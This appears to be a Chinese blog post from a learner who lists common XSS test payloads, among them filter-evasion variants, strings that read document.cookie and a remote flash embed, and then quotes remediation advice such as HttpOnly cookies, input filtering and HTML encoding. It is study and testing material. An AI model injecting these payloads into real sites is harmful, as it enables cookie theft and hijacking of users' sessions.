• 有关XSS的一个系列教程


    在乌云发现了一个有关XSS的教程,目前有21篇,够我慢慢儿学的了。

    这个系列教程的地址:http://www.wooyun.org/whitehats/心伤的瘦子/page/1

    几个常见的语句

    <script>alert('xss')</script> //默认形式

    <ScrIpT>alert("xss")</SCriPt> //变换大小写

    "/><script>alert(document.cookie)</script><!--  // <!-- 表示的意思是 闭合注释

    <script>alert(document.cookie)</script><!--

    "onclick="alert(document.cookie)

    <img src=javascript:alert("xss")></img //变换形式

    <img src=j&#97vascript:alert("xss")> //使用ASCII表示

    <IMG SRC="jav&#x09;ascript:alert('XSS');" > //插入干扰

    <DIV STYLE="expression(alert(163));"> //其他属性

    <DIV STYLE="xss:expr/*XSS*/ession(alert(163))"> //再干扰

    <img src="#" onerror=alert(/xss/)> //借用事件

    <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>// flash跨站

    补充内容

    下面的是一篇讲XSS基础原理和使用的文章,写得很好。http://www.cnblogs.com/TankXiao/archive/2012/03/21/2337194.html

    其中下面的这段话(也是摘自原文)讲的是《xss漏洞修复》,既是测试有必要关注的测试点,也是开发每每需要留意的地方。

    原则: 不相信客户输入的数据
    注意:  攻击代码不一定在<script></script>中

      1. 将重要的cookie标记为http only,   这样的话Javascript 中的document.cookie语句就不能获取到cookie了.
      2. 只允许用户输入我们期望的数据。 例如: 年龄的textbox中,只允许用户输入数字。 而数字之外的字符都过滤掉。
      3. 对数据进行Html Encode 处理
      4. 过滤或移除特殊的Html标签, 例如: <script>, <iframe> ,  &lt; for <, &gt; for >, &quot for
      5. 过滤JavaScript 事件的标签。例如 "onclick=", "onfocus" 等等。

  • 相关阅读:
    [Java复习] 缓存Cache part2
    [Java复习] 多线程 并发 JUC 补充
    [Java复习] 缓存Cache part1
    [Java复习] MQ
    [Java复习] 设计模式 Design Pattern
    [Java复习] Spring Cloud
    [Java复习] Spring Boot
    [Java复习] JVM
    [Java复习] Spring 常见面试问题
    关于nginx的源码安装方式
  • 原文地址:https://www.cnblogs.com/musicmovie/p/3445246.html
Copyright © 2020-2023  润新知